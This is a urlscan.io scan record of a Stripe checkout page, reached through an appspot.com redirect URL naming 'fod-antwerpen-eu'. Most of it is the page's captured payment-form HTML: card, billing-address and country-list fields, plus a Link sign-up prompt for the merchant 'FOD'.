checkout.stripe.com Open in urlscan Pro
18.66.15.47  Public Scan

Submitted URL: https://fod-antwerpen-eu-dot-neat-calculus-374913.uc.r.appspot.com/?c=1XLmHyjoSdcdYZArn9RTzuR-b4L4N86atiJ5SBm5jt8Q&q=0&r=1869a234badeb53d&z=1677623250082&o=https:/...
Effective URL: https://checkout.stripe.com/c/pay/plink_1LvoeLDnaUPmZo6GCNo3f3ew
Submission: On March 03 via api from BE — Scanned from DE

Form analysis 1 forms found in the DOM

<form novalidate="">
  <div style="height: 712.734px;">
    <div>
      <div style="opacity: 1;">
        <div class="App-Global-Fields flex-container spacing-16 direction-row wrap-wrap">
          <div class="flex-item width-12">
            <div class="FormFieldGroup" data-qa="FormFieldGroup-email">
              <div class="FormFieldGroup-labelContainer flex-container justify-content-space-between"><label for="email"><span class="Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">Email</span></label>
                <div style="opacity: 1; transform: none;"></div>
              </div>
              <div class="FormFieldGroup-Fieldset" id="email-fieldset">
                <div class="FormFieldGroup-container">
                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop FormFieldGroup-childBottom">
                    <div class="FormFieldInput">
                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput Input Input--empty" autocomplete="email" autocorrect="off" spellcheck="false" id="email" name="email" type="text"
                            inputmode="email" autocapitalize="none" aria-invalid="false" aria-describedby="" value=""></span></div>
                    </div>
                  </div>
                  <div class="FieldError-container" style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
                </div>
                <div class="FieldError-container" style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
              </div>
            </div>
          </div>
          <div class="flex-item width-12">
            <h2 class="PaymentMethod-Heading Text Text-color--gray600 Text-fontSize--16 Text-fontWeight--500">Payment method</h2>
          </div>
        </div>
        <div style="opacity: 1;">
          <div class="Tabs is-icontabs is-desktop is-overflowing">
            <div class="Tabs-Container">
              <div role="tablist" aria-orientation="horizontal" aria-label="Payment methods" class="Tabs-TabList">
                <div role="presentation" class="Tabs-TabListItemContainer Tabs-TabListItemContainer--is-selected"><button class="Tabs-TabListItem Tabs-TabListItem--is-selected" id="card-tab" data-testid="card-tab-button" role="tab" type="button"
                    aria-controls="card-tab-panel" aria-label="Pay with card" aria-selected="true" tabindex="0" title="Card">
                    <div class="Tabs-TabListItemContent">
                      <div class="Tabs-TabListPaymentMethod">
                        <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/card-ce24697297bd3c6a00fdd2fb6f760f0d.svg" alt="" class="Icon Icon--md"></div>
                        <div class="Tabs-TabListPaymentLabel" data-text="Card">Card</div>
                      </div>
                    </div>
                  </button></div>
                <div role="presentation" class="Tabs-TabListItemContainer"><button class="Tabs-TabListItem" id="bancontact-tab" data-testid="bancontact-tab-button" role="tab" type="button" aria-controls="bancontact-tab-panel"
                    aria-label="Pay with Bancontact" aria-selected="false" tabindex="-1" title="Bancontact">
                    <div class="Tabs-TabListItemContent">
                      <div class="Tabs-TabListPaymentMethod">
                        <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/payment-methods/icon-pm-bancontact-c6d62da104212dacefee6ea12a070237.svg" class="Icon Icon--md" alt=""></div>
                        <div class="Tabs-TabListPaymentLabel" data-text="Bancontact">Bancontact</div>
                      </div>
                    </div>
                  </button></div>
                <div role="presentation" class="Tabs-TabListItemContainer"><button class="Tabs-TabListItem" id="sepa_debit-tab" data-testid="sepa_debit-tab-button" role="tab" type="button" aria-controls="sepa_debit-tab-panel"
                    aria-label="Pay with SEPA Direct Debit" aria-selected="false" tabindex="-1" title="SEPA Direct Debit">
                    <div class="Tabs-TabListItemContent">
                      <div class="Tabs-TabListPaymentMethod">
                        <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/sepa-f277fe7c4ee1805a091c887698307e44.svg" alt="" class="Icon Icon--md"></div>
                        <div class="Tabs-TabListPaymentLabel" data-text="SEPA Direct Debit">SEPA Direct Debit</div>
                      </div>
                    </div>
                  </button></div>
                <div class="Tabs-TabListItemContainer Tabs-TabListItemContainer--overflow-button"><button type="button" aria-hidden="true" class="Tabs-TabListItem Tabs-TabListItem--overflow-toggle" tabindex="-1">
                    <div class="Tabs-TabListItemContent flex-container direction-column align-items-center"><svg class="InlineSVG Icon Icon--sm" focusable="false" color="#000" fill="none" viewBox="0 0 16 16">
                        <path fill="currentColor" fill-rule="evenodd" clip-rule="evenodd" d="M2 10a2 2 0 100-4 2 2 0 000 4zm6 0a2 2 0 100-4 2 2 0 000 4zm8-2a2 2 0 11-4 0 2 2 0 014 0z"></path>
                      </svg></div>
                  </button></div>
                <div class="Tabs-TabListOverflowContainer">
                  <div role="presentation" class="Tabs-TabListItemContainer"><button class="Tabs-TabListItem" id="eps-tab" data-testid="eps-tab-button" role="tab" type="button" aria-controls="eps-tab-panel" aria-label="Pay with EPS"
                      aria-selected="false" tabindex="-1" title="EPS">
                      <div class="Tabs-TabListItemContent">
                        <div class="Tabs-TabListPaymentMethod">
                          <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/payment-methods/icon-pm-eps-a79e75517cae239fc4ddfa2fbdb73b46.svg" class="Icon Icon--md" alt=""></div>
                          <div class="Tabs-TabListPaymentLabel" data-text="EPS">EPS</div>
                        </div>
                      </div>
                    </button></div>
                  <div role="presentation" class="Tabs-TabListItemContainer"><button class="Tabs-TabListItem" id="sofort-tab" data-testid="sofort-tab-button" role="tab" type="button" aria-controls="sofort-tab-panel" aria-label="Pay with SOFORT"
                      aria-selected="false" tabindex="-1" title="SOFORT">
                      <div class="Tabs-TabListItemContent">
                        <div class="Tabs-TabListPaymentMethod">
                          <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/sofort-ace3be711d02ed5a0eb354a13190ee84.svg" alt="" class="Icon Icon--md"></div>
                          <div class="Tabs-TabListPaymentLabel" data-text="SOFORT">SOFORT</div>
                        </div>
                      </div>
                    </button></div>
                  <div role="presentation" class="Tabs-TabListItemContainer"><button class="Tabs-TabListItem" id="giropay-tab" data-testid="giropay-tab-button" role="tab" type="button" aria-controls="giropay-tab-panel" aria-label="Pay with Giropay"
                      aria-selected="false" tabindex="-1" title="giropay">
                      <div class="Tabs-TabListItemContent">
                        <div class="Tabs-TabListPaymentMethod">
                          <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/payment-methods/icon-pm-giropay-ac2e93b3fbd95f735b676064e6f47996.svg" class="Icon Icon--md" alt=""></div>
                          <div class="Tabs-TabListPaymentLabel" data-text="giropay">giropay</div>
                        </div>
                      </div>
                    </button></div>
                  <div role="presentation" class="Tabs-TabListItemContainer"><button class="Tabs-TabListItem" id="ideal-tab" data-testid="ideal-tab-button" role="tab" type="button" aria-controls="ideal-tab-panel" aria-label="Pay with iDEAL"
                      aria-selected="false" tabindex="-1" title="iDEAL">
                      <div class="Tabs-TabListItemContent">
                        <div class="Tabs-TabListPaymentMethod">
                          <div class="Tabs-TabListPaymentIcon"><img src="https://js.stripe.com/v3/fingerprinted/img/payment-methods/icon-pm-ideal-608d5ba5730f82c25f122960ccaa9836.svg" class="Icon Icon--md" alt=""></div>
                          <div class="Tabs-TabListPaymentLabel" data-text="iDEAL">iDEAL</div>
                        </div>
                      </div>
                    </button></div>
                </div>
              </div>
            </div>
            <div class="Tabs-TabPanelContainer">
              <div style="opacity: 1; width: 100%; transform: none;">
                <div id="card-tab-panel" role="tabpanel" aria-labelledby="card-tab">
                  <div class="PaymentForm-paymentMethodForm flex-container spacing-16 direction-column wrap-wrap">
                    <div class="flex-item width-12">
                      <div class="FormFieldGroup">
                        <div class="FormFieldGroup-labelContainer flex-container justify-content-space-between"><label for="cardNumber-fieldset"><span class="Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">Card
                              information</span></label></div>
                        <fieldset class="FormFieldGroup-Fieldset" id="cardNumber-fieldset">
                          <div class="FormFieldGroup-container" id="cardNumber-fieldset-inner">
                            <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop">
                              <div class="FormFieldInput">
                                <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput CheckoutInput--tabularnums Input Input--empty" autocomplete="cc-number" autocorrect="off" spellcheck="false"
                                      id="cardNumber" name="cardNumber" type="text" inputmode="numeric" aria-label="Card number" placeholder="1234 1234 1234 1234" aria-invalid="false" value=""></span></div>
                                <div class="FormFieldInput-Icons" style="opacity: 1;">
                                  <div style="transform: none;"><span class="FormFieldInput-IconsIcon is-visible"><img src="https://js.stripe.com/v3/fingerprinted/img/visa-729c05c240c4bdb47b03ac81d9945bfe.svg" alt="Visa" class="BrandIcon"
                                        loading="lazy" fetchpriority="low"></span></div>
                                  <div style="transform: none;"><span class="FormFieldInput-IconsIcon is-visible"><img src="https://js.stripe.com/v3/fingerprinted/img/mastercard-4d8844094130711885b5e41b28c9848f.svg" alt="MasterCard" class="BrandIcon"
                                        loading="lazy" fetchpriority="low"></span></div>
                                  <div style="transform: none;"><span class="FormFieldInput-IconsIcon is-visible"><img src="https://js.stripe.com/v3/fingerprinted/img/amex-a49b82f46c5cd6a96a6e418a6ca1717c.svg" alt="American Express" class="BrandIcon"
                                        loading="lazy" fetchpriority="low"></span></div>
                                  <div class="CardFormFieldGroupIconOverflow"><span class="CardFormFieldGroupIconOverflow-Item CardFormFieldGroupIconOverflow-Item--visible" role="presentation"><span class="FormFieldInput-IconsIcon"
                                        role="presentation"><img src="https://js.stripe.com/v3/fingerprinted/img/unionpay-8a10aefc7295216c338ba4e1224627a1.svg" alt="UnionPay" class="BrandIcon" loading="lazy" fetchpriority="low"></span></span></div>
                                </div>
                              </div>
                            </div>
                            <div class="FormFieldGroup-child FormFieldGroup-child--width-6 FormFieldGroup-childLeft FormFieldGroup-childBottom">
                              <div class="FormFieldInput">
                                <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput CheckoutInput--tabularnums Input Input--empty" autocomplete="cc-exp" autocorrect="off" spellcheck="false"
                                      id="cardExpiry" name="cardExpiry" type="text" inputmode="numeric" aria-label="Expiration" placeholder="MM / YY" aria-invalid="false" value=""></span></div>
                              </div>
                            </div>
                            <div class="FormFieldGroup-child FormFieldGroup-child--width-6 FormFieldGroup-childRight FormFieldGroup-childBottom">
                              <div class="FormFieldInput has-icon">
                                <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput CheckoutInput--tabularnums Input Input--empty" autocomplete="cc-csc" autocorrect="off" spellcheck="false"
                                      id="cardCvc" name="cardCvc" type="text" inputmode="numeric" aria-label="CVC" placeholder="CVC" aria-invalid="false" value=""></span></div>
                                <div class="FormFieldInput-Icon" data-testid="FormFieldInput-Icon"><svg class="Icon Icon--md" focusable="false" viewBox="0 0 32 21" role="img" aria-label="CVC">
                                    <title>CVC</title>
                                    <g fill="none" fill-rule="evenodd">
                                      <g class="Icon-fill">
                                        <g transform="translate(0 2)">
                                          <path d="M21.68 0H2c-.92 0-2 1.06-2 2v15c0 .94 1.08 2 2 2h25c.92 0 2-1.06 2-2V9.47a5.98 5.98 0 0 1-3 1.45V11c0 .66-.36 1-1 1H3c-.64 0-1-.34-1-1v-1c0-.66.36-1 1-1h17.53a5.98 5.98 0 0 1 1.15-9z" opacity=".2">
                                          </path>
                                          <path d="M19.34 3H0v3h19.08a6.04 6.04 0 0 1 .26-3z" opacity=".3"></path>
                                        </g>
                                        <g transform="translate(18)">
                                          <path
                                            d="M7 14A7 7 0 1 1 7 0a7 7 0 0 1 0 14zM4.22 4.1h-.79l-1.93.98v1l1.53-.8V9.9h1.2V4.1zm2.3.8c.57 0 .97.32.97.78 0 .5-.47.85-1.15.85h-.3v.85h.36c.72 0 1.21.36 1.21.88 0 .5-.48.84-1.16.84-.5 0-1-.16-1.52-.47v1c.56.24 1.12.37 1.67.37 1.31 0 2.21-.67 2.21-1.64 0-.68-.42-1.23-1.12-1.45.6-.2.99-.73.99-1.33C8.68 4.64 7.85 4 6.65 4a4 4 0 0 0-1.57.34v.98c.48-.27.97-.42 1.44-.42zm4.32 2.18c.73 0 1.24.43 1.24.99 0 .59-.51 1-1.24 1-.44 0-.9-.14-1.37-.43v1.03c.49.22.99.33 1.48.33.26 0 .5-.04.73-.1.52-.85.82-1.83.82-2.88l-.02-.42a2.3 2.3 0 0 0-1.23-.32c-.18 0-.37.01-.57.04v-1.3h1.44a5.62 5.62 0 0 0-.46-.92H9.64v3.15c.4-.1.8-.17 1.2-.17z">
                                          </path>
                                        </g>
                                      </g>
                                    </g>
                                  </svg></div>
                              </div>
                            </div>
                            <div style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
                          </div>
                        </fieldset>
                      </div>
                    </div>
                    <div class="InstallmentPlanOptionsForm InstallmentPlanOptionsForm-hidden flex-item width-12">
                      <div style="display: none; height: 0px; opacity: 0; pointer-events: none;">
                        <div class="CheckboxField">
                          <div class="Checkbox">
                            <div class="Checkbox-InputContainer"><input id="InstallmentPlanSelector-checkbox" name="InstallmentPlanSelector-checkbox" type="checkbox" class="Checkbox-Input"><span class="Checkbox-StyledInput"></span></div><label
                              for="InstallmentPlanSelector-checkbox"><span class="Checkbox-Label Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">
                                <div class="Text Text-color--default Text-fontSize--13">Pay in installments</div>
                              </span></label>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="BillingAddressForm-addressInput flex-item width-12" aria-hidden="false">
                      <div style="pointer-events: auto; display: block; height: auto; opacity: 1;">
                        <div class="flex-container spacing-16 direction-column wrap-wrap">
                          <div class="flex-item width-12">
                            <div class="FormFieldGroup">
                              <div class="FormFieldGroup-labelContainer flex-container justify-content-space-between"><label for="billingName"><span class="Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">Name on card</span></label>
                              </div>
                              <div class="FormFieldGroup-Fieldset" id="billingName-fieldset">
                                <div class="FormFieldGroup-container" id="billingName-fieldset-inner">
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop FormFieldGroup-childBottom">
                                    <div class="FormFieldInput">
                                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput Input Input--empty" autocomplete="ccname" autocorrect="off" spellcheck="false" id="billingName"
                                            name="billingName" type="text" aria-invalid="false" value=""></span></div>
                                    </div>
                                  </div>
                                  <div style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="flex-item width-12">
                            <div class="FormFieldGroup" data-qa="FormFieldGroup-billing-address">
                              <div class="FormFieldGroup-labelContainer flex-container justify-content-space-between"><label for="billing-address-fieldset"><span class="Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">Billing
                                    address</span></label></div>
                              <fieldset class="FormFieldGroup-Fieldset" id="billing-address-fieldset">
                                <div class="FormFieldGroup-container">
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop">
                                    <div class="FormFieldInput is-select">
                                      <div>
                                        <div class="Select"><select id="billingCountry" name="billingCountry" autocomplete="billing country" aria-label="Country or region" class="Select-source">
                                            <option value="" disabled="" hidden=""></option>
                                            <option value="AF">Afghanistan</option>
                                            <option value="AX">Åland Islands</option>
                                            <option value="AL">Albania</option>
                                            <option value="DZ">Algeria</option>
                                            <option value="AD">Andorra</option>
                                            <option value="AO">Angola</option>
                                            <option value="AI">Anguilla</option>
                                            <option value="AQ">Antarctica</option>
                                            <option value="AG">Antigua &amp; Barbuda</option>
                                            <option value="AR">Argentina</option>
                                            <option value="AM">Armenia</option>
                                            <option value="AW">Aruba</option>
                                            <option value="AC">Ascension Island</option>
                                            <option value="AU">Australia</option>
                                            <option value="AT">Austria</option>
                                            <option value="AZ">Azerbaijan</option>
                                            <option value="BS">Bahamas</option>
                                            <option value="BH">Bahrain</option>
                                            <option value="BD">Bangladesh</option>
                                            <option value="BB">Barbados</option>
                                            <option value="BY">Belarus</option>
                                            <option value="BE">Belgium</option>
                                            <option value="BZ">Belize</option>
                                            <option value="BJ">Benin</option>
                                            <option value="BM">Bermuda</option>
                                            <option value="BT">Bhutan</option>
                                            <option value="BO">Bolivia</option>
                                            <option value="BA">Bosnia &amp; Herzegovina</option>
                                            <option value="BW">Botswana</option>
                                            <option value="BV">Bouvet Island</option>
                                            <option value="BR">Brazil</option>
                                            <option value="IO">British Indian Ocean Territory</option>
                                            <option value="VG">British Virgin Islands</option>
                                            <option value="BN">Brunei</option>
                                            <option value="BG">Bulgaria</option>
                                            <option value="BF">Burkina Faso</option>
                                            <option value="BI">Burundi</option>
                                            <option value="KH">Cambodia</option>
                                            <option value="CM">Cameroon</option>
                                            <option value="CA">Canada</option>
                                            <option value="CV">Cape Verde</option>
                                            <option value="BQ">Caribbean Netherlands</option>
                                            <option value="KY">Cayman Islands</option>
                                            <option value="CF">Central African Republic</option>
                                            <option value="TD">Chad</option>
                                            <option value="CL">Chile</option>
                                            <option value="CN">China</option>
                                            <option value="CO">Colombia</option>
                                            <option value="KM">Comoros</option>
                                            <option value="CG">Congo - Brazzaville</option>
                                            <option value="CD">Congo - Kinshasa</option>
                                            <option value="CK">Cook Islands</option>
                                            <option value="CR">Costa Rica</option>
                                            <option value="CI">Côte d’Ivoire</option>
                                            <option value="HR">Croatia</option>
                                            <option value="CW">Curaçao</option>
                                            <option value="CY">Cyprus</option>
                                            <option value="CZ">Czechia</option>
                                            <option value="DK">Denmark</option>
                                            <option value="DJ">Djibouti</option>
                                            <option value="DM">Dominica</option>
                                            <option value="DO">Dominican Republic</option>
                                            <option value="EC">Ecuador</option>
                                            <option value="EG">Egypt</option>
                                            <option value="SV">El Salvador</option>
                                            <option value="GQ">Equatorial Guinea</option>
                                            <option value="ER">Eritrea</option>
                                            <option value="EE">Estonia</option>
                                            <option value="SZ">Eswatini</option>
                                            <option value="ET">Ethiopia</option>
                                            <option value="FK">Falkland Islands</option>
                                            <option value="FO">Faroe Islands</option>
                                            <option value="FJ">Fiji</option>
                                            <option value="FI">Finland</option>
                                            <option value="FR">France</option>
                                            <option value="GF">French Guiana</option>
                                            <option value="PF">French Polynesia</option>
                                            <option value="TF">French Southern Territories</option>
                                            <option value="GA">Gabon</option>
                                            <option value="GM">Gambia</option>
                                            <option value="GE">Georgia</option>
                                            <option value="DE">Germany</option>
                                            <option value="GH">Ghana</option>
                                            <option value="GI">Gibraltar</option>
                                            <option value="GR">Greece</option>
                                            <option value="GL">Greenland</option>
                                            <option value="GD">Grenada</option>
                                            <option value="GP">Guadeloupe</option>
                                            <option value="GU">Guam</option>
                                            <option value="GT">Guatemala</option>
                                            <option value="GG">Guernsey</option>
                                            <option value="GN">Guinea</option>
                                            <option value="GW">Guinea-Bissau</option>
                                            <option value="GY">Guyana</option>
                                            <option value="HT">Haiti</option>
                                            <option value="HN">Honduras</option>
                                            <option value="HK">Hong Kong SAR China</option>
                                            <option value="HU">Hungary</option>
                                            <option value="IS">Iceland</option>
                                            <option value="IN">India</option>
                                            <option value="ID">Indonesia</option>
                                            <option value="IQ">Iraq</option>
                                            <option value="IE">Ireland</option>
                                            <option value="IM">Isle of Man</option>
                                            <option value="IL">Israel</option>
                                            <option value="IT">Italy</option>
                                            <option value="JM">Jamaica</option>
                                            <option value="JP">Japan</option>
                                            <option value="JE">Jersey</option>
                                            <option value="JO">Jordan</option>
                                            <option value="KZ">Kazakhstan</option>
                                            <option value="KE">Kenya</option>
                                            <option value="KI">Kiribati</option>
                                            <option value="XK">Kosovo</option>
                                            <option value="KW">Kuwait</option>
                                            <option value="KG">Kyrgyzstan</option>
                                            <option value="LA">Laos</option>
                                            <option value="LV">Latvia</option>
                                            <option value="LB">Lebanon</option>
                                            <option value="LS">Lesotho</option>
                                            <option value="LR">Liberia</option>
                                            <option value="LY">Libya</option>
                                            <option value="LI">Liechtenstein</option>
                                            <option value="LT">Lithuania</option>
                                            <option value="LU">Luxembourg</option>
                                            <option value="MO">Macao SAR China</option>
                                            <option value="MG">Madagascar</option>
                                            <option value="MW">Malawi</option>
                                            <option value="MY">Malaysia</option>
                                            <option value="MV">Maldives</option>
                                            <option value="ML">Mali</option>
                                            <option value="MT">Malta</option>
                                            <option value="MQ">Martinique</option>
                                            <option value="MR">Mauritania</option>
                                            <option value="MU">Mauritius</option>
                                            <option value="YT">Mayotte</option>
                                            <option value="MX">Mexico</option>
                                            <option value="MD">Moldova</option>
                                            <option value="MC">Monaco</option>
                                            <option value="MN">Mongolia</option>
                                            <option value="ME">Montenegro</option>
                                            <option value="MS">Montserrat</option>
                                            <option value="MA">Morocco</option>
                                            <option value="MZ">Mozambique</option>
                                            <option value="MM">Myanmar (Burma)</option>
                                            <option value="NA">Namibia</option>
                                            <option value="NR">Nauru</option>
                                            <option value="NP">Nepal</option>
                                            <option value="NL">Netherlands</option>
                                            <option value="NC">New Caledonia</option>
                                            <option value="NZ">New Zealand</option>
                                            <option value="NI">Nicaragua</option>
                                            <option value="NE">Niger</option>
                                            <option value="NG">Nigeria</option>
                                            <option value="NU">Niue</option>
                                            <option value="MK">North Macedonia</option>
                                            <option value="NO">Norway</option>
                                            <option value="OM">Oman</option>
                                            <option value="PK">Pakistan</option>
                                            <option value="PS">Palestinian Territories</option>
                                            <option value="PA">Panama</option>
                                            <option value="PG">Papua New Guinea</option>
                                            <option value="PY">Paraguay</option>
                                            <option value="PE">Peru</option>
                                            <option value="PH">Philippines</option>
                                            <option value="PN">Pitcairn Islands</option>
                                            <option value="PL">Poland</option>
                                            <option value="PT">Portugal</option>
                                            <option value="PR">Puerto Rico</option>
                                            <option value="QA">Qatar</option>
                                            <option value="RE">Réunion</option>
                                            <option value="RO">Romania</option>
                                            <option value="RU">Russia</option>
                                            <option value="RW">Rwanda</option>
                                            <option value="WS">Samoa</option>
                                            <option value="SM">San Marino</option>
                                            <option value="ST">São Tomé &amp; Príncipe</option>
                                            <option value="SA">Saudi Arabia</option>
                                            <option value="SN">Senegal</option>
                                            <option value="RS">Serbia</option>
                                            <option value="SC">Seychelles</option>
                                            <option value="SL">Sierra Leone</option>
                                            <option value="SG">Singapore</option>
                                            <option value="SX">Sint Maarten</option>
                                            <option value="SK">Slovakia</option>
                                            <option value="SI">Slovenia</option>
                                            <option value="SB">Solomon Islands</option>
                                            <option value="SO">Somalia</option>
                                            <option value="ZA">South Africa</option>
                                            <option value="GS">South Georgia &amp; South Sandwich Islands</option>
                                            <option value="KR">South Korea</option>
                                            <option value="SS">South Sudan</option>
                                            <option value="ES">Spain</option>
                                            <option value="LK">Sri Lanka</option>
                                            <option value="BL">St. Barthélemy</option>
                                            <option value="SH">St. Helena</option>
                                            <option value="KN">St. Kitts &amp; Nevis</option>
                                            <option value="LC">St. Lucia</option>
                                            <option value="MF">St. Martin</option>
                                            <option value="PM">St. Pierre &amp; Miquelon</option>
                                            <option value="VC">St. Vincent &amp; Grenadines</option>
                                            <option value="SR">Suriname</option>
                                            <option value="SJ">Svalbard &amp; Jan Mayen</option>
                                            <option value="SE">Sweden</option>
                                            <option value="CH">Switzerland</option>
                                            <option value="TW">Taiwan</option>
                                            <option value="TJ">Tajikistan</option>
                                            <option value="TZ">Tanzania</option>
                                            <option value="TH">Thailand</option>
                                            <option value="TL">Timor-Leste</option>
                                            <option value="TG">Togo</option>
                                            <option value="TK">Tokelau</option>
                                            <option value="TO">Tonga</option>
                                            <option value="TT">Trinidad &amp; Tobago</option>
                                            <option value="TA">Tristan da Cunha</option>
                                            <option value="TN">Tunisia</option>
                                            <option value="TR">Turkey</option>
                                            <option value="TM">Turkmenistan</option>
                                            <option value="TC">Turks &amp; Caicos Islands</option>
                                            <option value="TV">Tuvalu</option>
                                            <option value="UG">Uganda</option>
                                            <option value="UA">Ukraine</option>
                                            <option value="AE">United Arab Emirates</option>
                                            <option value="GB">United Kingdom</option>
                                            <option value="US">United States</option>
                                            <option value="UY">Uruguay</option>
                                            <option value="UZ">Uzbekistan</option>
                                            <option value="VU">Vanuatu</option>
                                            <option value="VA">Vatican City</option>
                                            <option value="VE">Venezuela</option>
                                            <option value="VN">Vietnam</option>
                                            <option value="WF">Wallis &amp; Futuna</option>
                                            <option value="EH">Western Sahara</option>
                                            <option value="YE">Yemen</option>
                                            <option value="ZM">Zambia</option>
                                            <option value="ZW">Zimbabwe</option>
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                                            <path d="M10.193 3.97a.75.75 0 0 1 1.062 1.062L6.53 9.756a.75.75 0 0 1-1.06 0L.745 5.032A.75.75 0 0 1 1.807 3.97L6 8.163l4.193-4.193z" fill-rule="evenodd"></path>
                                          </svg></div>
                                      </div>
                                    </div>
                                  </div>
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childBottom">
                                    <div class="FormFieldInput">
                                      <div><span class="InputContainer" data-max=""><input class="CheckoutInput Input Input--empty" autocomplete="billing address-line1" autocorrect="off" spellcheck="false" id="billingAddressLine1"
                                            name="billingAddressLine1" type="text" aria-activedescendant="" aria-autocomplete="both" aria-haspopup="grid" role="combobox" aria-expanded="false" aria-owns="billing-address-autocomplete-results"
                                            aria-label="Address" placeholder="Address" aria-invalid="false" aria-describedby="" value=""></span>
                                        <div class="AutocompleteInput-dropdown-container"></div>
                                      </div>
                                    </div>
                                  </div>
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop FormFieldGroup-childBottom HiddenInput">
                                    <div class="FormFieldInput HiddenInput">
                                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput HiddenInput Input Input--empty" autocomplete="billing address-line2" autocorrect="off" spellcheck="false"
                                            id="billingAddressLine2" name="billingAddressLine2" type="text" aria-hidden="true" aria-label="Address line 2" placeholder="Address line 2" aria-invalid="false" aria-describedby="" tabindex="-1"
                                            value=""></span></div>
                                    </div>
                                  </div>
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-6 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop FormFieldGroup-childBottom HiddenInput">
                                    <div class="FormFieldInput HiddenInput">
                                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput HiddenInput Input Input--empty" autocomplete="billing postal-code" autocorrect="off" spellcheck="false"
                                            id="billingPostalCode" name="billingPostalCode" type="text" aria-hidden="true" aria-label="Postal code" placeholder="Postal code" aria-invalid="false" aria-describedby="" tabindex="-1" value=""></span>
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                                    </div>
                                  </div>
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-6 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop FormFieldGroup-childBottom HiddenInput">
                                    <div class="FormFieldInput HiddenInput">
                                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput HiddenInput Input Input--empty" autocomplete="billing address-level2" autocorrect="off" spellcheck="false"
                                            id="billingLocality" name="billingLocality" type="text" aria-hidden="true" aria-label="City" placeholder="City" aria-invalid="false" aria-describedby="" tabindex="-1" value=""></span></div>
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                                  <div class="FieldError-container" style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
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                                <div class="FieldError-container" style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
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                            </div>
                            <div class="AddressAutocomplete-manual-entry AddressAutocomplete-manual-entry--below-form"><button class="Button Button--link Button--md" type="submit" tabindex="0">
                                <div class="flex-container justify-content-center align-items-center">
                                  <a class="Link Link--checkout--secondary" target="_self"><span class="Text Text-color--gray400 Text-fontSize--12 Text-fontWeight--400">Enter address manually</span></a></div>
                              </button></div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="SignUpForm-signUpFormContainer SignUpForm-signUpContainer--noCheckbox flex-item width-12">
                      <div style="pointer-events: auto; display: block; height: auto; opacity: 1;">
                        <div>
                          <div class="SignUpForm SignUpForm--expanded">
                            <div class="SignUpForm-headerContainer">
                              <div class="SignUpForm-header"><span class="SignUpForm-headerText Text Text-color--default">
                                  <div class="SignUpForm-labelHeader" style="opacity: 1;">Securely save my information for 1-click checkout</div>
                                  <div class="SignUpForm-subLabel">Enter your phone number to create a Link account and pay faster on FOD and everywhere Link is accepted.</div>
                                </span></div>
                            </div>
                            <div class="SignUpForm-phoneInputAnimation" style="pointer-events: auto; display: block; height: auto; opacity: 1;">
                              <div class="PhoneNumberInput">
                                <div class="PhoneNumberInput-inputWrapper">
                                  <div class="CheckoutInputContainer">
                                    <div class="CheckoutInputContainer-placeholderIcon CheckoutInput--hasPhoneNumberCountryCodeSelect">
                                      <div class="PhoneNumberCountryCodeSelect-wrapper">
                                        <div class=""><img class="p-FlagIcon PhoneNumberCountryCodeSelect-flagIcon" src="https://js.stripe.com/v3/fingerprinted/img/FlagIcon-DE-29207269d78b4b554610d848be493ba1.svg" alt="DE"></div><select
                                          class="PhoneNumberCountryCodeSelect-select">
                                          <optgroup label="A">
                                            <option value="AF">Afghanistan (+93)</option>
                                            <option value="AL">Albania (+355)</option>
